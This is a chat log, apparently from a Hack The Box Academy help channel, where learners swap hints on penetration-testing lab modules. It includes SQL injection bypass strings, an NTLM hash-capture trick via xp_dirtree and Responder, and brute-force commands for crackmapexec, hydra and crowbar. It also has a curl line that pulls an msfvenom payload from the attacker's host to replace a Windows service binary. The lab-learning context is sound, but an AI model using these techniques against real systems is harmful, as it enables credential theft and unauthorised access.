modules

[buoyant void]

Did you get anything useful from SMTP enum?

[winged egret]

nope nothing

ran it several times and added the -D for domain

although im suspecting i should get a user from it at least so I can bruteforce it

[buoyant void]

Yeah you have the right idea. I don't remember because I did this assessment a while ago, but was there a users list included in the resources of the module? If so, try doing your user enum with that list

[winged egret]

thx mate ill try again

[buoyant void]

no problem, you're on the right track

[shut quest]

Sometimes you need to slow your tools down to wait for a response

[winged egret]

yup I think that was it cz I got it on a retry

[rustic sage]

i'm doing this module and i'm running into problems... nmap can't scan the network it literally can't find any hosts on that ip address what is my hosts file supposed to look like? https://academy.hackthebox.com/module/113/section/1088

└─$ cat /etc/hosts    
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.129.42.195 app.inlanefreight.local
10.129.42.195 dev.inlanefreight.local
10.129.42.195 drupal-dev.inlanefreight.local
10.129.42.195 drupal-qa.inlanefreight.local
10.129.42.195 drupal-acc.inlanefreight.local
10.129.42.195 drupal.inlanefreight.local
10.129.42.195 blog.inlanefreight.local

that's what mine looks like right now but i'm not sure if that's correct

[worn hill]

Would anyone be fine giving me a helping hand designing a very very very easy and most basic network diagram based on the most basic of basic equipment requirements it should have

[plush tinsel]

Try using just one IP and the hosts after.
10.129.42.195 vhost vhost vhost etc. etc.

[rustic sage]

this is what it looks like now ```10.129.42.195 app.inlanefreight.local dev.inlanefreight.local drupal-dev.inlanefreight.local drupal-qa.inlanefreight.local drupal-acc.inlanefreight.local drupal.inlanefreight.local blog.inlanefreight.local

[warm mountain]

Hello, could someone help with exercise 1 of the Predictable Reset Tokens - Broken Authentication module?

I can't get the script to return the correct token. I've already read the previous hints on this forum.

[plush tinsel]

@rustic sage Try pinging or 'curl -I' one of the hosts i.e. dev.inlanefreight.local to test

[rustic sage]

curl: (7) Failed to connect to dev.inlanefreight.local port 80 after 3101 ms: Couldn't connect to server

strange because

i feel so dumb i didn't bother to check the vpn... the thing crashed!!!

ooops

[plush tinsel]

It happens. no worries.

<@&486603600085123073> I'm on Attacking Enterprise Networks. This is triggering when I go to support.inlanefreight.local the rest of the vhosts are normal. Just an FYI.

[heavy edge]

Are you typing it in right? Because this is redirecting

[plush tinsel]

The URL is in the SS.

[zealous rune]

I'm working through the footprinting module and trying to anser the question in the SMB enumeration section

The question that I am struggling on is: Find additional information about the specific share we found previously and submit the customized version of that specific share as the answer.

not sure if i understand the question

or is it thaat I will understand the question once I find the answer 😄

[plush tinsel]

Connect and enumerate 🙂
***client > ********enum > Version will be obvious

[zealous rune]

version

i already enumerated the version of the server

[plush tinsel]

The wording on that question isn't the greatest...
It's not the version of the server, but the version of a service..

[fathom pendant]

smbclient or rpc might be good for finding it out

[zealous rune]

using

netsharegetinfo <SHARE>

to further enumerate the specific share

[plush tinsel]

enum

[fathom pendant]

i believe it's also case specific

[zealous rune]

case specific?

hmmm found a bunch of completions for enum.... in rpcclient

[fathom pendant]

as in Linux is not linux

[zealous rune]

ah yes

i do get output relating to the share by running netsharegetinfo

[loud dagger]

wowie wow i am officially 50% done with the infosec fundamentals path 😐

[zealous rune]

well done!!!

keep going 🙂

ok what format is the answer in

it's not a flag i suppose?

[fathom pendant]

Nope

[zealous rune]

ok so more info than before

[loud dagger]

i can't wait to get the fuck out of school so i can actually start focusing on this

[zealous rune]

well rpcclient command netshareenum <sharename> does giive more info

i don't get from the question what extra nfo is being asked for

sorry no

[fathom pendant]

Custom version

[zealous rune]

i mean netsharegetinfo

[fathom pendant]

I'm sure I..freight isn't an official version

[zealous rune]

I already submitted the version for that

didn't seem to take

ok i needed to submit the whole thing

[fathom pendant]

Yeah lol

[zealous rune]

i think the supplying the format of the answer might have been useful there

[fathom pendant]

custom version

[zealous rune]

one of the first things i did was submit the different version

i just supplied x.x

[fathom pendant]

:)

Always try everything for the answer before ruling it out

[zealous rune]

okidoki

thanks!

time for bed

[buoyant escarp]

Attacking Common Services
-> Attacking SQL Databases

im stuck at the first question.

i logged into the given htb credentials with impacket mssqlclient.py
listing all DBs with enum_db

need a little hint from now on

[twin lion]

whats the question?

[buoyant escarp]

what is the pw for mssqlsvc user

[keen shuttle]

I need help with password attack pass mutation module

[twin lion]

after listing the databases make queries on them - avoid default databases

try & find credentials

[buoyant escarp]

i have no permissions to read teh relevant dbs
||ive read something in the forum about capturing a hash with a fake smb share, i might look into this.||

[analog pebble]

make sure not to say too much in this channel without blocking spoilers

(|| ||)

[twin lion]

this is a whole other topic, look at the course you just read and see what it has to say about initial access

[wanton idol]

Do you know how to list the tables of the databases?

[wanton idol]

yeah that works just need to find the correct table and database

this also works as well select * from tablename;

[fathom pendant]

Did you try stealing?

[fathom pendant]

Depends if mssql or mysql

[wanton idol]

yeah true i just thought it was mssql

[buoyant escarp]

mssql

[fathom pendant]

But he's gotta be the right user to see the right table

[buoyant escarp]

im trying the catching ntlm hash but im not getting an event on responder

[fathom pendant]

Is responder running on the right interface?

[buoyant escarp]

tun0

[fathom pendant]

And you're having it do the xp..dirtable //ip/share yeah?

[buoyant escarp]

okay, as always.... i redid it and it worked, might have had some syntax error xD

[buoyant escarp]

xp_dirtree

[fathom pendant]

Oh yeah been a min

[buoyant escarp]

3:17 AM
this might be the cause 😒

ah the issue was i did it inside of apostrophe ' cmd '

[buoyant escarp]

this was an very interesting section, crazy how harmful it can be, that the DB can access remote shares via SMB

[sinful drift]

The destination machine does not load, does this happen to anyone else?

Target is Spawning

[rustic sage]

Thoughts on arch Linux

[sinful drift]

someone?

[sinful drift]

[split spruce]

A few minutes ago I was seeing machines not load either. Logged out and back in and it let me spin one up again.

[rugged zenith]

Hello everyone,
Just to be sure there is no issue on my side. The target stuck on "Target is spawning..." on the Attacking Enterprise Networks module. Is there any potential issue for which I'm maybe not aware please?

[next bronze]

refresh the page and try to spawn again

[rugged zenith]

I did it many times even by changing the browser but it didn't work unfortunately

[next bronze]

I can spawn it, eu-2

[rugged zenith]

Yes you are right. It's working now. After a reboot. Thank you very much.

[sinful drift]

getting started
knowledge verification
I am trying to escalate privileges to root with the file /usr/bin/php since it is the only file with which I have all permissions but I cannot modify the content of the file, nor edit the name of php to example.sh
I have tried other methods with other files but I have permission denied
Can someone who has done this module give me a clue please?

[next bronze]

https://gtfobins.github.io/gtfobins/php/#sudo

[quasi summit]

Hi All, im in the Analyzing Evil With Sysmon & Event Logs module and am getting into the windows vm's ok. The module requires me to download stuff from the internet but there is
internet access on the vm's.

I've already changed the pwnbox location a few times

[honest gyro]

how did u solved it? im currently facing the same error

[inner sand]

can i still access my modules i finished in the academy even though i cancelled my subscription ?

[acoustic owl]

Yes, all 100% completed modules belong to you

[weary owl]

What really that's awesome 😎

[zinc nimbus]

pls can someone help me with Password Attacks Lab - Medium. I'm trying to crack for 3 days and 3 nights now and Im getting no where. Ive tried. and after trying smb2 it just says. Ive also tried crackmapexec but its not providing any results. I've tried cracking ssh and smb but i dont know what Im doing wrong anymore please someone save me

I havent found any user's credentials or anything I've enumerated and found that ssh and smb is running and i couldnt crack 😭

i tried to install the libsmbclient support module for my hydra so it can support smb2but it failed and i used pwnbox but it also doesnt have the hydra module installled

[wanton idol]

i dont remember what i did but there is no smb2 its only smb

[zinc nimbus]

did you use crackmapexec to crack?

[wanton idol]

im pretty sure i used hydra but i dont remember

[zinc nimbus]

why is it saying i dont have oepnssl support let me recheck rn im unwilling

[heavy edge]

Heh

[wanton idol]

that idk

[heavy edge]

I think hydra is wonky I had to load hydra in with certain modules before I could crack smb

[zinc nimbus]

ok i will try and load more modules

[heavy edge]

Like complete reinstall with the libsmb-dev module

Because smb wasn’t supported

[wanton idol]

maybe restart your pawn box

[zinc nimbus]

im using my own vm but i tried pwn box and it was the same thing

[wanton idol]

restart the machine?

[zinc nimbus]

ok let me try

see. Why is this happening 😭

wait its not smb? or wrong port??

[wanton idol]

maybe run a nmap scan and see whats open

[zinc nimbus]

no its open 445

it might rlly be smb2 it says it in the host script results

[wanton idol]

yeah it is smb version two but there isnt a command on hydra for smb2

well smb 4.sum sum

[fathom pendant]

Cme works iirc

[zinc nimbus]

i rlly want it to but its not

[cloud urchin]

read your hydra error and it will reveal all you need to know

"target does not support smbv1"

[glass quail]

can anybody help me understand why im getting this message

module file upload attacks and section type filters

[digital shale]

I'm attempting the Password Attacks module, Pass the Ticket (PtT) from Linux section, "Check Carlos' crontab, and look for keytabs to which Carlos has access. Try to get the credentials of the user svc_workstations and use them to authenticate via SSH. Submit the flag.txt in svc_workstations' home directory. " question.

|| I managed to impersonate svc_workstations to gain access to \dc01\svc_workstations, but the flag in flag.txt does not look right to me.|| Can anyone tell me what I missed or am doing wrongly?

[azure saffron]

yoo anyone having issues with Attack Tuning -> SqlMap module, flag5 issue? I've literally got the flag from the output flag5, but its incorrect apparently

[weary owl]

@zinc nimbus I used metasploit to crack SMB hydra doesn't always work right for SMB

I just finished this lab like 5 hours ago

[next bronze]

should be the home dir in the linux target, not dc

[solar zodiac]

hi everyone! I was wondering if anyone could nudge me on the last question of the skills assesment of the game hacking fundamentals module

i've identified the score in the data structure, but everytime i change it it reverts back to the previous score

i've tried seeing what opcodes write to the value, but it isnt rendering any results

any help would be greatly appreciated 🙂

[torpid thistle]

hi, all. I have to bother you with a noob question: I'm at https://academy.hackthebox.com/module/77/section/726 atm. I try to brute-force bobs smb password with crackmapexec. I crafted the coorrect prompt but I don't use a wordlist containing the actual password. The hint says 'Bob likes to use weak passwords.' What wordlist should I use? Is the hint pointing to a specific one? Or should the password even be 'guessable' by hand?

[azure saffron]

for anyone wondering in the future, the hint recommends to rerun multiple times for correct output. Make sure to delete the the dump in sqlmap/output as you rerun command. You may get the wrong flag a few times but it should return with the right one eventually.

[digital shale]

appreciate the push, got one step closer!

[solar zodiac]

nevermind got it 😄

[cloud urchin]

Re-read the "Shares" section of that page carefully.

[torpid thistle]

omg thank you! anohter reminder to read everything carefully. ❤️

[mint lodge]

I think it was the way burp suite saves the request i just manualy pased it to a xxe.req file
with sudo vim xxe.req

[solar zodiac]

the game fundamentals module was really cool! Academy rocks 🙂

[gray cloud]

well now I don't remember what I wrote

I'd appreciate that mods would've move the message upon deleting the thread :/

@autumn pilot

[ebon minnow]

VM's are messing up lol

[gray cloud]

Well anyway I'll try to ask again, I have a problem on the skill assessment for file upload module, I successfully uploaded a file and got /etc/passwd content but can't get the flag.txt file, tried to get a reverse shell through msfvenom, it uploads successfuly but kills the connection instantly when my nc is listening, hopefully somebody can help a bit

[cloud urchin]

Do you have command execution through your upload?

[gray cloud]

nop

[cloud urchin]

you need to upload something that gives you command execution

[gray cloud]

I do upload the reverse.php file crafted with msfvenom the upload successfuly work

[cloud urchin]

you sent an xml payload to read /etc/passwd?

[gray cloud]

no

I used xxe payload with file:///etc/passwd

[cloud urchin]

you're doing the file upload module?

[gray cloud]

yes

[cloud urchin]

there's no xxe in that module

well there is but

[gray cloud]

whether it's with xss or xxe I still could read the /etc/passwd which is a good starting point to me

and it was xxe for me

[cloud urchin]

yeah you're right

[gray cloud]

but I can do it with xss too tho

[cloud urchin]

so you got it with the xml, you said no at first

[gray cloud]

oh I read that too fast

mb

I upload the file with an xss payload through a JS function that call for the reverse shell on my server

[cloud urchin]

there could be protections in place to prevent that, so you'll need to find another way

you don't do it via revshell

[gray cloud]

so it means something is killing the connection when I try to rev shell ?

[cloud urchin]

i'm not sure, i didn't do it that way. i don't think it's intended to get a shell via msfvenom

[gray cloud]

Is there some kind of shell involved or should I only try to read what's stored on the server ? because if it's the second one I never succeed in reading other file at the same root folder level

[cloud urchin]

theoretically if you have command execution you should be able to get a shell, but if you have command execution to run msfvenom payloads, just read the flag instead

[gray cloud]

yeah maybe I overthought this but I dug down the rabbit hole because I thought it was interesting to try to go further and learn how it work so I could use it elsewhere later in my career

by using other techniques

[cloud urchin]

ok but you can execute commands right

so just get the flag for the skill assessment

you can practice that other stuff that's fine, but there may be other protections htb has in place to prevent that

[gray cloud]

that is true

[distant island]

Whats wrong here subverting query logic / sql injection fundamental module

SELECT * FROM logins WHERE username='tom' AND password = 'admin' or '1'='1';
SELECT * FROM logins WHERE (username='admin' or '1'='1') AND (password = 'something' or '1'='1');
SELECT * FROM logins WHERE username=" or '1' = '1' AND password = " or '1' = '1' ;
i tried everthing

yeah my bad i should write only tom OR '1'='1'
becasue the select for part already written

[gray merlin]

For the Attacking Enterprise Networks module. How do these two internal subnet ranges make sense? The 172.16.9.0-255 IP addresses are part of the 172.16.8.0/23 subnet.

[ebon minnow]

Module: Password Attacks
Subsection: Protected Files

Question: Use the cracked password of the user Kira and log in to the host and crack the "id_rsa" SSH key. Then, submit the password for the SSH key as the answer.

My inquiry: where in the heck is Kiras password

😄

nvm

i think the vm was messing up earlier

[next bronze]

someone sent a message in general that crashes discord, wtf

any mods around

[potent thorn]

Hi guys. Can someone please help me on the attacking SQL databases section of Attacking common Services module?

I have connected to the database as htbdbuser using smqlcmd, and I am trying to force it to authenticate to responder and steal the hashes user the xp_dirtree funtion but can't get it to work.

Any help? these are my commands, I feel like I am on the right lines, as I don't know how else I would gain the pw.

sudo responder -I tun0

2> GO```

[ebon minnow]

link?

[potent thorn]

nvm bugged session

[azure marsh]

RedTeam Tips: Orchestrating Chaos, Evading Defense Culture
https://twitter.com/Hadess_security/status/1781264096001761606

[honest gyro]

when i get this error i took a break and when i tried again it works i am pretty sure its from how burp suite deal with files
however thanks for help bro

[ancient ice]

Guys does penetration testing job role helps to improve capture the flag skills or do I need to take bug bounty path for CTF skills just confused let me know

[gray cloud]

@cloud urchin coming back to you I actually don't execute command through XSS payload, I successfuly found the upload dir which is nice for what I want to do but can't wrap my head around how to upload a .php file that could successfuly execute my commands

though I don't know the way I interprated your message but XXE vuln allowed me to read the content of the upload and submit web page that allowed me to know what's the upload dir

[gray chasm]

Can anyone give me a hand with this question?

Password Attacks ---> Windows Credential Hunting

What are the credentials to access the Edge router (Format: username:password, case sensitive).

[ebon minnow]

https://tenor.com/view/that-is-messed-up-gif-9714963639675861025

[buoyant escarp]

<@&861185840277487616>

[ebon minnow]

LOL

[gray cloud]

And when I upload a php command through my xss payload It’s not interprated compared to js code (tried with alert(document.location) )

[cloud urchin]

DM me if oyu still need help

[cloud urchin]

Have you investigated all the apps on the desktop?

[scenic slate]

who is the owner of the website?

[cedar yew]

Hello guys,

Attacking Common Services - Attacking SMB

When I connect to SMB, I cannot read or download the id_rsa file and when I ssh, I get a permission denied error. What can I do?

[cloud urchin]

which question are you on

[cedar yew]

What is the password for the username "jason"?

https://academy.hackthebox.com/module/116/section/1167

[fresh plinth]

I'm working on the FFUF module skill assessment where I'm supposed to fuzz a page that says You don't have access!. I'm guessing I'm meant to use a regex matcher (-mr) for this.

the command I've been using is ||ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -w academy-htb.subdom.txt:HOST -u http://HOST.academy.htb:49584/FUZZ -recursion -recursion-depth 1 -ic -v -mr "You don't have access" -e .php,.phps,.php7||, which I'm now guessing is too broad, because my problem is that the target machine is up for 90mins and my ffuf scan takes too long; it doesn't even finish the first scan (before recursing). Should I be using a different approach?

[cloud urchin]

did you try bruteforcing his password with the module's provided password list?

[cedar yew]

I'm waiting for it to finish, but when I typed ssh jason@ip it gave me an authorization error without asking for a password.

[cloud urchin]

what command did you use

[cedar yew]

cme brute force

rackmapexec ssh 10.129.203.6 -u jason -p pws.list

[cloud urchin]

don't forget the --local-auth option for non-domain joined computers

[cedar yew]

I think we do not use this command when doing brute force.

while doing brute force

[cloud urchin]

no, you use the command when it's a non-domain joined computer.

has nothing to do with brute force

it has to do with the logon method, which is important when you're brute forcing logging into something

[cedar yew]

understand

trying

crackmapexec ssh 10.129.203.6 -u jason -p pws.list --local-auth

[cloud urchin]

ssh is slow

remember you're on the attacking smb section

[cedar yew]

im try hydra but not working

[cloud urchin]

yeah you can't brute force ssh.

use crackmapexec like the module shows you

[cedar yew]

yes but I couldn't read or download the id_rsa file so I decided to try ssh

[cloud urchin]

what was in the shared folder

im looking at this i dont think you brute force his pw here

but there's a share you CAN read, is there anything in there that may give jason's pw away?

[cedar yew]

.

[cloud urchin]

well the hint says this A colleague has shared with us a password list that we can find in the resource. He was able to compile this during his research.

[cedar yew]

aaa

understand oky

im trying smb not ssh

[cloud urchin]

ok i double checked im right

[cedar yew]

found cred

[cloud urchin]

yeah use smb, dont brute force ssh

nice

[cedar yew]

oky oky thx

[quasi summit]

Hi All, im in the Analyzing Evil With Sysmon & Event Logs module and am getting into the windows vm's ok. The module requires me to download stuff from the internet but there is no internet access on the vm's.I've already changed the pwnbox location many times. Please help.

[dim wolf]

what is the module asking you to download

[quasi summit]

first sysmon then Sysmon configuration file downloaded from https://github.com/SwiftOnSecurity/sysmon-config.

there is no net acess though

no matter which country i connect to

i think it might be broken

[dim wolf]

it's not asking you to download that though

it's already on the machine

[quasi summit]

yes i checked that sysmon already is

[dim wolf]

and all targets you spawn will have no internet access

[quasi summit]

ah ok

i was not aware

so i ahve to find this git hub gile somewhere

*file

[dim wolf]

it should be easy to find

[quasi summit]

thank you

[dim wolf]

search for a sysmon config file (that is what is on the machine)

[quasi summit]

thanks again, ive been at this like an idiot

of course that makes sense

[cedar yew]

Hello Guys,

ATtacking common service - attacking sql databases,

im connect the sql server but not working my command

[pine dagger]

Need to select the DB first

[cedar yew]

I want to list the databases but I don't know what's in them right now.

[pine dagger]

or

wait, youre doing q1 or q2?

[cedar yew]

q1 q2?

[pine dagger]

there's two parts iirc

[cedar yew]

https://academy.hackthebox.com/module/116/section/1169

[pine dagger]

Yeah, there's two questions

[cedar yew]

yes

[pine dagger]

So are you doing q1 or q2? looks like q1

[cedar yew]

q1

[pine dagger]

Right

[cedar yew]

q =question

right?

[pine dagger]

so you shouldnt need to do any of those commands

[cedar yew]

i dont understand

[pine dagger]

Try the commands from the "Capture MSSQL Service Hash" section

[cedar yew]

oky

😐

I couldn't run the commands he gave me.

[potent thorn]

I would say if you're running the commands with the IP that is hosting the sql database then you have misunderstood the section and need to go back a reread what it is actually telling you. You need to capture the hash.

[vocal sphinx]

Gotta start reminding myself to read the questions fully... Spent days trying to exploit something for sudo rights abuse and turned out they just wanted to know what could be exploited...

[ancient parrot]

In the Password Attack module, hard lab. Did you try to mount .vhd in linux?
I use VM, so i attach in windows
https://learn.microsoft.com/en-us/windows-server/storage/disk-management/manage-virtual-hard-disks

[tender acorn]

No connection possible

Today i get the error Timers: ping 10, ping-restart 120 when i try to connect to the academy.
I try diffrent VPN connections nothing works.

Have today any other problems?
On the top of the site are a massage box
Exams VPN Scheduled Maintenance eu-academy-exams-2 eu-academy-exams-2 should not be used on 23/4 (10:00-11:00 UTC). Please use eu-academy-exams-1
Are this the reason? (i try difrent connections and it is the wrong day)

[faint dragon]

I'm on the amazing module Introduction To Splunk & SPL

"Search & Reporting" application, and find through an SPL search against all 4624 events the account name that made the most login attempts within a span of 10 minutes. Enter it as your answer.

I hear this question is misleading.

I've played around with Range but the existing example in the docs sucks. Any discussion around range for SPL is about setting timeframes. Any help here?

I've used Bin for a 10 min timeframe but I think they want a rolling window

[fathom pendant]

It's possible to mount in linux

[fathom pendant]

Above those lines do you see "initialization sequence completed"?

That's not an error btw

[tender acorn]

i cant ping the lab

[fathom pendant]

Message support then, as you said it's on every vpn

¯_(ツ)_/¯

[tender acorn]

ok

[shut quest]

yes, its only like 3 commands to do in linux

[shadow dune]

Hello, I had a question about the Nessus labs. Am I suppose to install Nessus on my kali box and scan the vm? It tells me to scan another box that it has access to. I am confused on what to actually do. It's not very clear

I can SSH to the box, but I am not sure what to do next.

[next bronze]

rdp in, go to the nessus web login, there's already a pre populated scan for the skills assessment

[normal sand]

Is it alright for me to host my module notes on my Gitbook? Or is it against HackTheBox Academy's terms of service?

[fathom pendant]

As long as they're not public/revealing content

[honest gyro]

hello guys im stuck at the last step in web attacks-skill assessment but for some reason the xxe dosent seem to work nor the xxeinjector i'd be glad for any info

[normal sand]

Understood. Thanks!

[south falcon]

Hi

[glass quail]

hey can I view directories with store XSS

[valid viper]

Hmmm...?

You can use stored XSS to redirect someone to an exploit that'll let you view everything...lol

[glass quail]

I don't have access to that just stored XSS that only I can view im trying find a way do some like cat

[narrow nacelle]

Does anyone know why I'm getting this error while using enum4linux to enumerate smb shares using a hosts file. If I do it one (IP) by one, it works.

[valid viper]

I mean if the lab is set up to run any script uploaded... You could probably pop a shell.

If we're talking in the wild, you need to wait for a user to execute the payload.

[glass quail]

rightr

[nocturne flint]

I need a nudge for "AD Enumeration & Attacks - Skills Assessment Part II". I was able to get a shell on SQL01. I am not sure how to proceed after that.

[tawdry vapor]

hi, can anyone help me wiht Windows Privilege Escalation Skills Assessment - Part II?

[buoyant escarp]

im waiting for ages, also tested with google.com but i dont get anything, nor an error

[next bronze]

check privs

[nocturne flint]

What tool can help me with that?

[valid viper]

https://www.lepide.com/blog/8-different-methods-to-identify-privileged-users/

Or Bloodhound.

[nocturne flint]

Found the command that helped whoami /priv

[valid viper]

You said tool... Not command.

[fathom pendant]

There's more arguments needed for subbrute

[valid viper]

Hot wings.

😐

[nocturne flint]

Thanks...I didn't even know what command/tool I was looking for. Was just so stuck.

[wet coyote]

hey everyone i'm doing Login Brute Forcing - Skills Assessment

on this question

Once you access the login page, you are tasked to brute force your way into this page as well. What is the flag hidden inside?

i got the user name and the password for the admin login page but when i login it re-load the page and doesn't login to the page

[valid viper]

No worries man. Just saying a lot of us in here become more literal the more we interact with computers.

[valid viper]

It's the exact same page?

[wet coyote]

like got access to the normal login page and then got the first flag and then when i try login to second one because there is a path for the admin page so when i try to login it re-load the page like i'm just re-fresh the page no result

[valid viper]

Does the login work?

[wet coyote]

for the admin login page no

i can show if you want

[valid viper]

How do you know the creds are correct?

Can't, I'm in a crappy signal area.

[wet coyote]

oh ok but i did use hydra and gave me the username and password but idk why it's not working

[valid viper]

Clear your cache.

Are you using the IP, or did you assign it a domain?

Try both domain and IP.

Try a different browser. Try pwnbox.

[wet coyote]

i did

[valid viper]

Reset the box?

[wet coyote]

i did reset and used pwnbox

[valid viper]

Last resort is to use curl or burp to see what it says.

[wet coyote]

i did it also and nothing works because that was my first idea

[valid viper]

Damn... That's weird.

[wet coyote]

yeah lmao

[valid viper]

Maybe use Burp to brute force instead?

[wet coyote]

same result like i did everything you can think about

[valid viper]

Dayum.

@fathom pendant he needs halp.

[fathom pendant]

I haven't done this module

[wet coyote]

you can see the community-help

[fathom pendant]

Don't ping me. If I'm actively not helping I'm either busy or don't know enough to assist

[valid viper]

Understood.

[wet coyote]

the name login brute forcing - Skills Assessment

[tawdry vapor]

anyone can help me with first question in Windows Privilege Escalation Skills Assessment - Part II?? (Find left behind cleartext credentials for the iamtheadministrator domain admin account.)

[twilit ruin]

/etc/hosts file has the xss.htb.net but i dont get the webpage

[cloud urchin]

Use the hostname instead of the IP address.

[glass quail]

put http://xss.htb.net in browser

or is it https://xss.htb.net/

[twilit ruin]

oh thanks

that worked

[glass quail]

\o/

[cloud urchin]

just finished AD enum & attack. kinda rude how they onlt had PS 1.0 on there lol

[glass quail]

lol

is that the hard one

ADCS attacks

[fathom pendant]

No

It's a different module

[glass quail]

ok

congrats

[cloud urchin]

ADCS was really fun and really well put together

[glass quail]

nice will be excited when I get there

[ebon minnow]

for Johannas password, is 30 hours normal to brute force it?

module: password attacks lab - hard

[fathom pendant]

Nope

Use small lists first, and not against ssh

[ebon minnow]

yup, used the given list against rdp

using mutated now with crackmapexec

[buoyant escarp]

Attacking Common Services
DNS

what i tried so far and cant get any further
||dig any inlanefreight.htb atIP
here i find the nameserver, which i add into resolvers.txt
ofc is inlanefreight.htb in /etc/hosts
./subbrute.py inlanefreight.htb -s names.txt -r resolvers.txt||

[cloud urchin]

The only thing that should be in resolvers.txt is the box you spawn at the bottom of the section along with the question

[buoyant escarp]

okay, i tought the ns

[cloud urchin]

in this module, the box you spawn is acting as the nameserver.

[buoyant escarp]

okay, so no need to get ns.inlanefreight.htb from dig

[cloud urchin]

i don't think you need to modify /etc/hosts at all, and just use the IP you spawn in resolvers.txt and you sohuld be able to complete it

[fathom pendant]

Yep

[buoyant escarp]

okay got the flag, i just hate dns stuff xD

[topaz zenith]

Can someone help me with the Windows Privilege Escalation - Weak Permissions. I keep trying to replace the binary with msfvenom and everytime I try to send it over I keep getting these errors: 10.129.225.128 - - [19/Apr/2024 15:12:48] "GET /service.exe HTTP/1.1" 404 - worked fine in the previous module.

[cloud urchin]

404 error means it can't be found on the web server

[topaz zenith]

I understand that. I don'

[cloud urchin]

check the folder location where you're hosting the server

[topaz zenith]

It's there

[cloud urchin]

make sure your msvenom payload is in the same directory

make sure the name is correct

[topaz zenith]

Yeah, i've done that, tried moving it into different directories, renamed it ect.

[cloud urchin]

also 10.129.225.128 doesn't look like a HTB vpn IP to me. is that your tun0 IP you're hosting the file on?

[topaz zenith]

Target: 10.129.225.128

[cloud urchin]

there really are only a couple of things that will cause it to 404. it can reach the ip you're giving it, but it can't find the file there. so you either have the wrong ip, wrong file, or the file isn't in the directory you're hosting the http server on.

[next bronze]

if it's there it wouldn't be a 404, take a look in your brower

[topaz zenith]

Yeah, its not there. But it's in the directory I am currently staring at in my terminal lol

SecurityService.exe bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 lost+found media mnt opt proc root run sbin service.exe srrstr.dll srv sys tmp usr var vmlinuz vmlinuz.old

[cloud urchin]

what is your tun0 ip?

[topaz zenith]

10.10.15.73

[next bronze]

...you placed it in your file root?

[cloud urchin]

and that's the ip you're running the web server on?

[topaz zenith]

Yes

[next bronze]

put it somewhere else and start the server there, in tmp maybe

[topaz zenith]

and I have placed it in different directories just to see if I was getting the path wrong

[cloud urchin]

why does your GET command say it's reaching out to 10.129.225.128 if you're hosting it on 10.10.15.73

[eager bear]

can I dm someone about zephyr pro lab?

[topaz zenith]

I'm trying to retrieve it from the target.

which is 10.129.225.1285

10.129.225.128*

[cloud urchin]

no, you're trying to download it to the target... aren't you?

[topaz zenith]

10.10.15.73 - - [19/Apr/2024 15:20:09] "GET /service.exe HTTP/1.1" 404 -

[cloud urchin]

why would you want to retrieve your msfvenom payload from the victim machine to your host machine? that doesn't make sense

maybe i'm just confused

[topaz zenith]

curl http://10.10.15.73:8080/service.exe -O "C:\Program Files (x86)\PCProtect\SecurityServie.exe"

That is what Im using on the victim machine^^

from powershell

[cloud urchin]

what's your web server command

[topaz zenith]

python3 -m http.server 8080

[cloud urchin]

and it would probably be better to do what Xre0us suggested and try hosting it out of tmp or something

[topaz zenith]

Ok, I have a dedicated folder for HTB stuff I tried retrieving from first but i'll give her a try

[cloud urchin]

there are other ways as well, scp, smb server, xfreerdp and remmina can both share folders very easily so you can xfer via the gui

[topaz zenith]

It worked!

[buoyant escarp]

afaik when launchig http.server from python the root directory is where its started from

[cloud urchin]

noice

[topaz zenith]

Thanks guys!

[topaz zenith]

Same module, now everytime I try to start the service to trigger the reverse shell in my listener I get this on the target machine: The service did not respond to the start or control request in a timely fashion.

[shut quest]

The section Login Form Attacks should help you. You haven't posted anything you have tried so I can't get any more specific.

[cloud urchin]

Why are you trying to create a revshell?

instead of creating a rev shell, keep it simple and just escalate yourself to admin

[topaz zenith]

Be nice to practice doing so

[cloud urchin]

nothing wrong with that and it should work

oh wow a whole new module appeared

https://academy.hackthebox.com/module/details/253

[next bronze]

sick

[buoyant escarp]

im already stuck behind, there are so many modules xD

[shut quest]

Oh that looks like a fun module

[ebon minnow]

is this normal for the mutated list over rdp

password attack lab - hard

[cloud urchin]

probably. looks like you're using low thread count too. if you're bruteforcing RDP i would recommend crowbar, it's faster.

[pseudo birch]

That seems a little slow. 🙂 increase threads if you're using hydra. -t

[shut quest]

crowbar go brrr

[ebon minnow]

thats at 64

[pseudo birch]

what protocol are you running it against?

[ebon minnow]

rdp

[cloud urchin]

crowbar would have had it cracked by now

[buoyant escarp]

Attacking Common Services
Email

i found a valid user via enumeration
now i try to brute this account via hydra on pop3, imap, smtp with the given pws.list from resources, but got no valid password. Do i need to make a mutated list, even tho it isnt mentioned in this module?

question 2

[cloud urchin]

no, you don't need a mutated list.

[buoyant escarp]

oh i think i know what might be the issue

[shut quest]

You need the pw list from that module

[buoyant escarp]

my format is wrong
username
[e-mail] <---- this one

[cloud urchin]

is there one for that module> I used rockyou lol

[buoyant escarp]

got the creds now

men always i make stupid mistakes

[cloud urchin]

https://tenor.com/view/bob-ross-happy-accidents-gif-7215839

[shut quest]

yes

[cloud urchin]

damn lol

[ebon minnow]

||crowbar -b rdp -u johanna -C ~/Desktop/Password-Attacks/new_mut.list -s 10.129.202.222/32||

is that good?

[shut quest]

did you run it? or asking?

[ebon minnow]

running it

[quasi wave]

hi I need a hint in the right direction. this is for hard lab on footprinting. I enumerated ssh and I see that its an Ubuntu server. I enumerated ssh with SSH ssh-audit.py and my results aren't very meaningful

what am I doing wrong here? do I try other ssh audit stuff?

I did nmap scans already which is how I found ssh is open

but don't have password which is my issue

I also see its aes encrypted so hashcat isn't gonna do it and neither is bruteforce right?

[shadow dune]

I had an issue with this earlier this week.

[ebon minnow]

sucks that i cant do anything else while its running

[shadow dune]

Did you do a udp scan on nmap ?

[quasi wave]

I did not do UDP scan I did a regular scan

to get open ports

[shadow dune]

thats where the creds are

[quasi wave]

ok

[mint trout]

why not? tmux/screen, or ctrl+z and typing bg, or a second ssh window doesnt work?

[quasi wave]

why udp scan? I don't understand

aren't udp scans super slow?

do I need to do udp scan on ssh?

[shadow dune]

i dont want to totally spoil it for you but i will give you this: https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp

[ebon minnow]

no i mean in terms of progressing through the module

[shadow dune]

you get creds from there and then everything makes sense

[shut quest]

what did you learn in the module that is UDP?

[shadow dune]

